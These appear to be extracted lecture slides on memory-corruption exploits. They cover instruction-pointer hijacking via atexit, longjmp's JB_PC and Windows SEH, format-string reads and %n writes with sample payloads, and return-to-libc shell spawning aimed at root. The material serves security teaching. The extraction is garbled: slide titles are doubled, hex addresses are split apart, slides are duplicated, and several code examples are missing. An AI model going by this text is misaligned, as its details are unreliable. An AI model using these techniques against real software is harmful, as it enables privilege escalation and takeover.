Targets for Instruction Pointer Modification: atexit() on_exit() (gdb) b main Breakpoint 1 at 0 Targets for Instruction Pointer Modification: atexit() on_exit() (gdb) b main Breakpoint 1 at 0 x 80483 f 6: file atexit. c, line 6. (gdb) r Starting program: /home/rcs/book/dtors/atexit Breakpoint 1, main (argc=1, argv=0 xbfffe 744) at atexit. c: 6 6 atexit(test); (gdb) next 7 glob = "Exiting. n"; (gdb) x/12 x __exit_funcs 0 x 42130 ee 0 : 0 x 00000003 0 x 00000004 0 x 4000 c 660 0 x 42130 ef 0 : 0 x 00000000 0 x 00000004 0 x 0804844 c 0 x 42130 f 00 : 0 x 00000000 0 x 00000004 0 x 080483 c 8 (gdb) x/4 x 0 x 4000 c 660 <_dl_fini>: 0 x 57 e 58955 0 x 5 ce 85356 0 x 81000054 0 x 0091 c 1 c 3 (gdb) x/3 x 0 x 0804844 c 0 x 804844 c <__libc_csu_fini>: 0 x 53 e 58955 0 x 9510 b 850 x 102 d 0804 (gdb) x/8 x 0 x 080483 c 8 0 x 80483 c 8 : 0 x 83 e 58955 0 xec 8308 ec 0 x 2035 ff 08 0 x 68080496

Targets for Instruction Pointer Modification: atexit() on_exit() n n In the debug session, a Targets for Instruction Pointer Modification: atexit() on_exit() n n In the debug session, a breakpoint is set before the call to atexit() in main() and the program is run. The call to atexit() is then executed to register the test() function. After the test() function is registered, memory at __exit_funcs is displayed. Each function is contained in a structure consisting of four doublewords. n Last doubleword contains address of function.

Targets for Instruction Pointer Modification: atexit() on_exit() (gdb) b main Breakpoint 1 at 0 Targets for Instruction Pointer Modification: atexit() on_exit() (gdb) b main Breakpoint 1 at 0 x 80483 f 6: file atexit. c, line 6. (gdb) r Starting program: /home/rcs/book/dtors/atexit Breakpoint 1, main (argc=1, argv=0 xbfffe 744) at atexit. c: 6 6 atexit(test); (gdb) next 7 glob = "Exiting. n"; (gdb) x/12 x __exit_funcs 0 x 42130 ee 0 : 0 x 00000003 0 x 00000004 0 x 4000 c 660 0 x 42130 ef 0 : 0 x 00000000 0 x 00000004 0 x 0804844 c 0 x 42130 f 00 : 0 x 00000000 0 x 00000004 0 x 080483 c 8 (gdb) x/4 x 0 x 4000 c 660 <_dl_fini>: 0 x 57 e 58955 0 x 5 ce 85356 0 x 81000054 0 x 0091 c 1 c 3 (gdb) x/3 x 0 x 0804844 c 0 x 804844 c <__libc_csu_fini>: 0 x 53 e 58955 0 x 9510 b 850 x 102 d 0804 (gdb) x/8 x 0 x 080483 c 8 0 x 80483 c 8 : 0 x 83 e 58955 0 xec 8308 ec 0 x 2035 ff 08 0 x 68080496

Targets for Instruction Pointer Modification: atexit() on_exit() n In the example: n Three function Targets for Instruction Pointer Modification: atexit() on_exit() n In the example: n Three function have been registered: n n _dl_fini() __libc_csu_fini() test() Attacker can overwrite any entry of the __exit_funcs structure.

Targets for Instruction Pointer Modification: longjmp() n C 99 defines alternate function call and Targets for Instruction Pointer Modification: longjmp() n C 99 defines alternate function call and return discipline n n Intended for dealing with errors and interrupts encountered in a low-level subroutine of a program setjmp() macro n n Saves calling environment longjmp(), siglongjmp() n Non-local jump to a saved stack context

Targets for Instruction Pointer Modification: longjmp() #include <setjmp. h> jmp_buf buf; void g(int n); Targets for Instruction Pointer Modification: longjmp() #include jmp_buf buf; void g(int n); void h(int n); int n = 6; void f(void){ setjmp(buf); g(n); } void g(int n){ h(n); } void h(int n) { longjmp(buf, 2); } int main (void){ f(); return 0; } n longjmp() example: n longjmp() returns control back to the point of the set_jmp() invocation.

Targets for Instruction Pointer Modification: longjmp() 1. typedef int __jmp_buf[6]; 2. #define JB_BX 0 Targets for Instruction Pointer Modification: longjmp() 1. typedef int __jmp_buf[6]; 2. #define JB_BX 0 3. #define JB_SI 1 4. #define JB_DI 2 5. #define JB_BP 3 6. #define JB_SP 4 7. #define JB_PC 5 8. #define JB_SIZE 24 9. typedef struct __jmp_buf_tag { 10. __jmp_buf __jmpbuf; 11. int __mask_was_saved; 12. __sigset_t __saved_mask; 13. } jmp_buf[1] n n Linux implementation of jmp_buf Notice the JB_PC field. This is the target of an attack. An arbitrary memory write can overwrite this field with the address of shellcode in the overflowing buffer.

Targets for Instruction Pointer Modification: longjmp() The movl instruction on line 2 restores the Targets for Instruction Pointer Modification: longjmp() The movl instruction on line 2 restores the BP longjmp(env, i) movl i, %eax /* return i */ movl env. __jmpbuf[JB_BP], %ebp movl env. __jmpbuf[JB_SP], %esp jmp (env. __jmpbuf[JB_PC]) The movl instruction on line 3 restores the stack pointer (SP). Line 4 transfers control to the stored PC

Targets for Instruction Pointer Modification: Exception Handling n Exception n n Event outside of Targets for Instruction Pointer Modification: Exception Handling n Exception n n Event outside of the normal operation of a procedure. Windows provides three types of exception handlers: n Vectored Exception Handling (VEH) n n n Structured Exception Handling (SEH) n n Added in Windows XP Called first to override SEH. Implemented as per-function or per-thread exception handling. System Default Exception Handling

Targets for Instruction Pointer Modification: Exception Handling n Exception n n Event outside of Targets for Instruction Pointer Modification: Exception Handling n Exception n n Event outside of the normal operation of a procedure. Windows provides three types of exception handlers: n Vectored Exception Handling (VEH) n n n Structured Exception Handling (SEH) n n Added in Windows XP Called first to override SEH. Implemented as per-function or per-thread exception handling. System Default Exception Handling

Targets for Instruction Pointer Modification: Exception Handling n try { // Do stuff here Targets for Instruction Pointer Modification: Exception Handling n try { // Do stuff here } catch(…){ // Handle exception here } __finally { // Handle cleanup here } SEH n Implemented through try … catch blocks n n n Any exception raised in the try block is handled in the matching catch block. If the catch block cannot handle it, it is passed back to prior scope. __finally is a MS extension to C/C++ n Used to clean-up anything instantiated in the try block.

Targets for Instruction Pointer Modification: Exception Handling n SEH n n Uses the EXECPTION_REGISTRATION Targets for Instruction Pointer Modification: Exception Handling n SEH n n Uses the EXECPTION_REGISTRATION structure Located on stack. Previous EXECPTION_REGISTRATION prev is at a higher stack address. If the executable image header lists SAFE SEH handler addresses, the handler address must be listed as a SAFE SEH handler. Otherwise, any structured exception handler may be called. EXCEPTION_REGISTRATION struc prev dd ? handler dd ? _EXCEPTION_REGISTRATION ends

Targets for Instruction Pointer Modification: Exception Handling Stack Frame Initialization n Notice: n n Targets for Instruction Pointer Modification: Exception Handling Stack Frame Initialization n Notice: n n Exception handler address followed immediately by exception handler address. This puts the exception handler address at risk from buffer overflow. push ebp mov ebp, esp and esp, 0 FFFFFFF 8 h push 0 FFFFh push ptr [Exception_Handler] mov eax, dword ptr fs: [0000 h] push eax mov dword ptr fs: [0], esp

Targets for Instruction Pointer Modification: Exception Handling n Attacker can: n n Overwrite the Targets for Instruction Pointer Modification: Exception Handling n Attacker can: n n Overwrite the exception handler address. (supra) Replace the pointer in the Thread Environment Block (TEB). n TEB contains lists of registered exception handlers. n n n Attacker mocks up a list entry as part of the payload. Modify the first exception handler field using an arbitrary memory write. Seems to be still possible despite recent Windows version checking validity of list entries.

Targets for Instruction Pointer Modification: Exception Handling n n Windows provides a global exception Targets for Instruction Pointer Modification: Exception Handling n n Windows provides a global exception filter and handler for the entire process that is called if no previous exception handler can handle the exception. Implement an unhandled exception filter for the entire process to gracefully handle unexpected error conditions and for debugging. An unhandled exception filter function is assigned using the Set. Unhandled. Exception. Filter() function. If an attacker overwrites specific memory addresses through an arbitrary memory write, the unhandled exception filter can be redirected to run arbitrary code.

Format String Vulnerability n A programmer shortcut uses n printf(string); instead of n printf(“%s”, Format String Vulnerability n A programmer shortcut uses n printf(string); instead of n printf(“%s”, string); This works fine, unless the string itself becomes a format string.

Format String Vulnerability n Assume we have the following line: n n printf(argv[1]); Input Format String Vulnerability n Assume we have the following line: n n printf(argv[1]); Input testing%x and obtain: n testingbffff 5 a 0 n n Now we can read the stack by inputing n n bffff 5 a 0 is a value on the stack. %08 x. This is because the printf call will take its parameters from the stack.

Format String Vulnerability n If we look far enough down the stack, we will Format String Vulnerability n If we look far enough down the stack, we will find the string that we used as input.

Format String Vulnerability Assume we put in AAAA%08 x. n Output is AAAAbfff 590. Format String Vulnerability Assume we put in AAAA%08 x. n Output is AAAAbfff 590. 000003 e 8. 4141 n n n The 41 -s are the beginning of the string. If the fourth parameter would be displayed using the %s format, then the function will read the memory at that address!

Format String Vulnerability n n If we put in an arbitrary memory address, then Format String Vulnerability n n If we put in an arbitrary memory address, then we would get a segmentation fault. But not if we take a valid memory address:

Format String Vulnerability n n n Input x 14xfdxffxbf. %x%x%x%s Result is the contents Format String Vulnerability n n n Input x 14xfdxffxbf. %x%x%x%s Result is the contents at memory location bf ff fd 14. Now we can read from any memory within the scope of the process!

Format String Vulnerability n But we can even write to arbitrary memory! n %n Format String Vulnerability n But we can even write to arbitrary memory! n %n n n prints out number of bytes written out so far. It also writes data. Expects a memory address Writes number of bytes so far written into that memory address.

Format String Vulnerability n Input n n n x 70x 95x 04x 08%08 x. Format String Vulnerability n Input n n n x 70x 95x 04x 08%08 x. %n Output bffff 590. 000003 e 8 But also sets content at 0 x 08049570 to 30. This allows us to write small values to arbitrary memory belonging to the process. One can now write individual bytes by using the width field in front of %n:

Return into Libc n n n Making the stack non-executable will stop the bulk Return into Libc n n n Making the stack non-executable will stop the bulk of buffer overflow attacks. Open. BSD among others has a nonexecutable stack by default. But these architecture can still be exploited with a “return to libc”.

Return into Libc n Basic vulnerable code: Return into Libc n Basic vulnerable code:

Return into Libc n n n Use “system” in the C-library. system(/bin/sh); spawns shell. Return into Libc n n n Use “system” in the C-library. system(/bin/sh); spawns shell. Use gdb to find where system is by debugging a simple program such as

Return into Libc n The address of system( ) will vary from system to Return into Libc n The address of system( ) will vary from system to system, but is constant for each system.

Return into Libc n n To call system(“/bin/sh”), we need to provide it with Return into Libc n n To call system(“/bin/sh”), we need to provide it with parameters. We need a pointer to /bin/sh.

Return into Libc n system() address is 0 x 42049 e 54 /bin/sh address Return into Libc n system() address is 0 x 42049 e 54 /bin/sh address is 0 xbffffc 40 n Therefore, input n

Return into Libc n n First 28 B are just filler The address of Return into Libc n n First 28 B are just filler The address of system Return address is not used Argument for system

Return into Libc n n n This will spawn a shell, but not at Return into Libc n n n This will spawn a shell, but not at root level. Can use a previous call to setuid followed by system. Chaining of libc calls.

Return into Libc n Better: n n Use a wrapper program to be executed Return into Libc n Better: n n Use a wrapper program to be executed by the vulnerable program. Wrapper is simple: Wrapper is executed at the privilege level of the vulnerable program, i. e. with root. Unfortunately, it system(/bin/sh) still drops privileges.

Return into Libc n Ultimate solution: n n Use execl( ) instead of system( Return into Libc n Ultimate solution: n n Use execl( ) instead of system( ). Since execl( ) expects parameters that should be zero (and zeroes terminate a string), we need various tricks to put strings into memory.

Bibliography n n Jon Erickson: Hacking, The art of exploitation, No Starch Press, 2003 Bibliography n n Jon Erickson: Hacking, The art of exploitation, No Starch Press, 2003 Robert C. Seacord: Secure Coding in C and C++